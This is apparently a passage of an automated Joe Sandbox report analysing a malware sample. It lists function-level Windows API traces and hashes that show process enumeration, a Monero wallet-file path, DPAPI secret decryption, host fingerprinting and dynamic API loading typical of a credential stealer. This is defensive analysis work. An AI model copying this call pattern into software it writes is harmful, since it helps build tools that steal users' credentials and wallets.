Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d85ddf2252412d1a7f01f5c06724643c0582c2f5afc102161d9b83979bdcdde5
Instruction ID: 345e14ec6cafb9412f07ac5a95368a2ca06d350305df62162b2d22cd6a5ffd89
Opcode Fuzzy Hash: d85ddf2252412d1a7f01f5c06724643c0582c2f5afc102161d9b83979bdcdde5
Instruction Fuzzy Hash: D0015E75A40318EBCB24DFA4E858BEDBBF8FF08311F004298A90A97240D7749B80DF51

Function 00F28680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00F305B7), ref: 00F286CA
Process32First.KERNEL32(?,00000128), ref: 00F286DE
Process32Next.KERNEL32(?,00000128), ref: 00F286F3

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

CloseHandle.KERNEL32(?), ref: 00F28761

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 646f8214b38fdd1c5f128612a27323ad234d81576b1ab5acc1ff17d623f791a0
Instruction ID: 08b785fb7d0fe22ce5456dc3ea554b1ee27d8c4391dc4fce69a8e656abee0fc6
Opcode Fuzzy Hash: 646f8214b38fdd1c5f128612a27323ad234d81576b1ab5acc1ff17d623f791a0
Instruction Fuzzy Hash: 86316B71901228EBCB24DF50EC51FEEB778FF48710F1042A9E50AA6190EF346A85DFA1

Function 00F27A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0089DBB0,00000000,?,00F30E10,00000000,?,00000000,00000000), ref: 00F27A63
RtlAllocateHeap.NTDLL(00000000), ref: 00F27A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0089DBB0,00000000,?,00F30E10,00000000,?,00000000,00000000,?), ref: 00F27A7D
wsprintfA.USER32 ref: 00F27AB7

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 28d426b6e6004c3dc64c3594766fbef5d3ddcaaac0417a594055069d33ed6344
Instruction ID: 1c06b4faf84ee778095bf66b703838e449a7869620a50e3a2e9622ef95183a80
Opcode Fuzzy Hash: 28d426b6e6004c3dc64c3594766fbef5d3ddcaaac0417a594055069d33ed6344
Instruction Fuzzy Hash: 9B1182B1945328EBDB249B54EC55F59B778FB44721F1043A6E516932C0C7745A40CF51

Function 00F19B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00F19B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00F19BA3
LocalFree.KERNEL32(?), ref: 00F19BD3

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 4ee14ac6040ab30e4d2023211a5aa4e58da6758f117a9b371d74bac7a73fef97
Instruction ID: 53632ebe3b6b6919592a279a623193799a5ee6e84f0f876620888d96da9590e1
Opcode Fuzzy Hash: 4ee14ac6040ab30e4d2023211a5aa4e58da6758f117a9b371d74bac7a73fef97
Instruction Fuzzy Hash: AD11CCB8A40209DFDB04DF94D985AAE77B5FF88300F104568E91597394D774AE50CFA1

Function 00F278E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27910
RtlAllocateHeap.NTDLL(00000000), ref: 00F27917
GetComputerNameA.KERNEL32(?,00000104), ref: 00F2792F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 87ff3a9e68279ed522eb9359d639ee1e3da280021aa2154cace5ac63fdefc2d3
Instruction ID: 4e106d3d5e1bd2ed1c051bc0ea513b9c43c8ba42495ad737135349d97f532257
Opcode Fuzzy Hash: 87ff3a9e68279ed522eb9359d639ee1e3da280021aa2154cace5ac63fdefc2d3
Instruction Fuzzy Hash: 1401A9B1944304EFC714DF95E945BAFBBB8FB04B21F10422AF655E3380C77459408BA1

Function 00F27850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F111B7), ref: 00F27880
RtlAllocateHeap.NTDLL(00000000), ref: 00F27887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F2789F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: cfaad80cac50564cf33f0c45cf30e487cd6ebee0cb85515b0c3db20dfa6b3626
Instruction ID: 6deb0bedce4878accd91432f5e64ac025683a672dd50de5e9c762e28148eaa66
Opcode Fuzzy Hash: cfaad80cac50564cf33f0c45cf30e487cd6ebee0cb85515b0c3db20dfa6b3626
Instruction Fuzzy Hash: E4F04FB1944208EBC714DF98E949BAEBBB8FB08711F10026AFA15A3680C77555448BA1

Function 00F11160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00F1116A
ExitProcess.KERNEL32 ref: 00F1117E

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: a407d66f0c0cdf94fb74d1253b55b2d9b979585a3a547c254a9a829ee8ae824b
Instruction ID: 23876c9b941972e3e4b70b9544d12e2a470e10d0707ee6b71be1486aa040bdec
Opcode Fuzzy Hash: a407d66f0c0cdf94fb74d1253b55b2d9b979585a3a547c254a9a829ee8ae824b
Instruction Fuzzy Hash: F4D01774940308DBCB149AA0A8496DDBB78FB08211F000668D91662240EA3164C18BA5

Function 00F29C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,00886720), ref: 00F29C2D
GetProcAddress.KERNEL32(75550000,008869E0), ref: 00F29C45
GetProcAddress.KERNEL32(75550000,00898FA0), ref: 00F29C5E
GetProcAddress.KERNEL32(75550000,00898F58), ref: 00F29C76
GetProcAddress.KERNEL32(75550000,0089CCF0), ref: 00F29C8E
GetProcAddress.KERNEL32(75550000,0089CD80), ref: 00F29CA7
GetProcAddress.KERNEL32(75550000,0088B0B8), ref: 00F29CBF
GetProcAddress.KERNEL32(75550000,0089CC00), ref: 00F29CD7
GetProcAddress.KERNEL32(75550000,0089CCA8), ref: 00F29CF0
GetProcAddress.KERNEL32(75550000,0089CCC0), ref: 00F29D08
GetProcAddress.KERNEL32(75550000,0089CD68), ref: 00F29D20
GetProcAddress.KERNEL32(75550000,008866A0), ref: 00F29D39
GetProcAddress.KERNEL32(75550000,008866C0), ref: 00F29D51
GetProcAddress.KERNEL32(75550000,00886740), ref: 00F29D69
GetProcAddress.KERNEL32(75550000,00886840), ref: 00F29D82
GetProcAddress.KERNEL32(75550000,0089CBB8), ref: 00F29D9A
GetProcAddress.KERNEL32(75550000,0089CB40), ref: 00F29DB2
GetProcAddress.KERNEL32(75550000,0088AFA0), ref: 00F29DCB
GetProcAddress.KERNEL32(75550000,00886760), ref: 00F29DE3
GetProcAddress.KERNEL32(75550000,0089CDF8), ref: 00F29DFB
GetProcAddress.KERNEL32(75550000,0089CBA0), ref: 00F29E14
GetProcAddress.KERNEL32(75550000,0089CBD0), ref: 00F29E2C
GetProcAddress.KERNEL32(75550000,0089CD98), ref: 00F29E44
GetProcAddress.KERNEL32(75550000,008867E0), ref: 00F29E5D
GetProcAddress.KERNEL32(75550000,0089CD50), ref: 00F29E75
GetProcAddress.KERNEL32(75550000,0089CB28), ref: 00F29E8D
GetProcAddress.KERNEL32(75550000,0089CC30), ref: 00F29EA6
GetProcAddress.KERNEL32(75550000,0089CBE8), ref: 00F29EBE
GetProcAddress.KERNEL32(75550000,0089CC78), ref: 00F29ED6
GetProcAddress.KERNEL32(75550000,0089CD08), ref: 00F29EEF
GetProcAddress.KERNEL32(75550000,0089CDB0), ref: 00F29F07
GetProcAddress.KERNEL32(75550000,0089CCD8), ref: 00F29F1F
GetProcAddress.KERNEL32(75550000,0089CDC8), ref: 00F29F38
GetProcAddress.KERNEL32(75550000,00899CC8), ref: 00F29F50
GetProcAddress.KERNEL32(75550000,0089CD20), ref: 00F29F68
GetProcAddress.KERNEL32(75550000,0089CDE0), ref: 00F29F81
GetProcAddress.KERNEL32(75550000,00886780), ref: 00F29F99
GetProcAddress.KERNEL32(75550000,0089CD38), ref: 00F29FB1
GetProcAddress.KERNEL32(75550000,00886800), ref: 00F29FCA
GetProcAddress.KERNEL32(75550000,0089CC90), ref: 00F29FE2
GetProcAddress.KERNEL32(75550000,0089CB10), ref: 00F29FFA
GetProcAddress.KERNEL32(75550000,008863E0), ref: 00F2A013
GetProcAddress.KERNEL32(75550000,00886440), ref: 00F2A02B
LoadLibraryA.KERNEL32(0089CB88,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A03D
LoadLibraryA.KERNEL32(0089CB58,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A04E
LoadLibraryA.KERNEL32(0089CB70,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A060
LoadLibraryA.KERNEL32(0089CC18,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A072
LoadLibraryA.KERNEL32(0089CC48,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A083
LoadLibraryA.KERNEL32(0089CC60,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A095
LoadLibraryA.KERNEL32(0089CF60,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A0A7
LoadLibraryA.KERNEL32(0089CE28,?,00F25CA3,00F30AEB,?,?,?,?,?,?,?,?,?,?,00F30AEA,00F30AE3), ref: 00F2A0B8
GetProcAddress.KERNEL32(75750000,00886360), ref: 00F2A0DA
GetProcAddress.KERNEL32(75750000,0089CE10), ref: 00F2A0F2
GetProcAddress.KERNEL32(75750000,00898970), ref: 00F2A10A
GetProcAddress.KERNEL32(75750000,0089CFC0), ref: 00F2A123
GetProcAddress.KERNEL32(75750000,00886460), ref: 00F2A13B
GetProcAddress.KERNEL32(73AB0000,0088B338), ref: 00F2A160
GetProcAddress.KERNEL32(73AB0000,00886380), ref: 00F2A179
GetProcAddress.KERNEL32(73AB0000,0088AED8), ref: 00F2A191
GetProcAddress.KERNEL32(73AB0000,0089CF30), ref: 00F2A1A9
GetProcAddress.KERNEL32(73AB0000,0089CF90), ref: 00F2A1C2
GetProcAddress.KERNEL32(73AB0000,00886500), ref: 00F2A1DA
GetProcAddress.KERNEL32(73AB0000,00886400), ref: 00F2A1F2
GetProcAddress.KERNEL32(73AB0000,0089CF18), ref: 00F2A20B
GetProcAddress.KERNEL32(757E0000,00886420), ref: 00F2A22C
GetProcAddress.KERNEL32(757E0000,00886480), ref: 00F2A244
GetProcAddress.KERNEL32(757E0000,0089CFA8), ref: 00F2A25D
GetProcAddress.KERNEL32(757E0000,0089CE88), ref: 00F2A275
GetProcAddress.KERNEL32(757E0000,008863C0), ref: 00F2A28D
GetProcAddress.KERNEL32(758D0000,0088B0E0), ref: 00F2A2B3
GetProcAddress.KERNEL32(758D0000,0088AFC8), ref: 00F2A2CB
GetProcAddress.KERNEL32(758D0000,0089CE40), ref: 00F2A2E3
GetProcAddress.KERNEL32(758D0000,00886600), ref: 00F2A2FC
GetProcAddress.KERNEL32(758D0000,00886540), ref: 00F2A314
GetProcAddress.KERNEL32(758D0000,0088AEB0), ref: 00F2A32C
GetProcAddress.KERNEL32(76BE0000,0089CF48), ref: 00F2A352
GetProcAddress.KERNEL32(76BE0000,008863A0), ref: 00F2A36A
GetProcAddress.KERNEL32(76BE0000,00898960), ref: 00F2A382
GetProcAddress.KERNEL32(76BE0000,0089CEA0), ref: 00F2A39B
GetProcAddress.KERNEL32(76BE0000,0089CF78), ref: 00F2A3B3
GetProcAddress.KERNEL32(76BE0000,008864C0), ref: 00F2A3CB
GetProcAddress.KERNEL32(76BE0000,008865E0), ref: 00F2A3E4
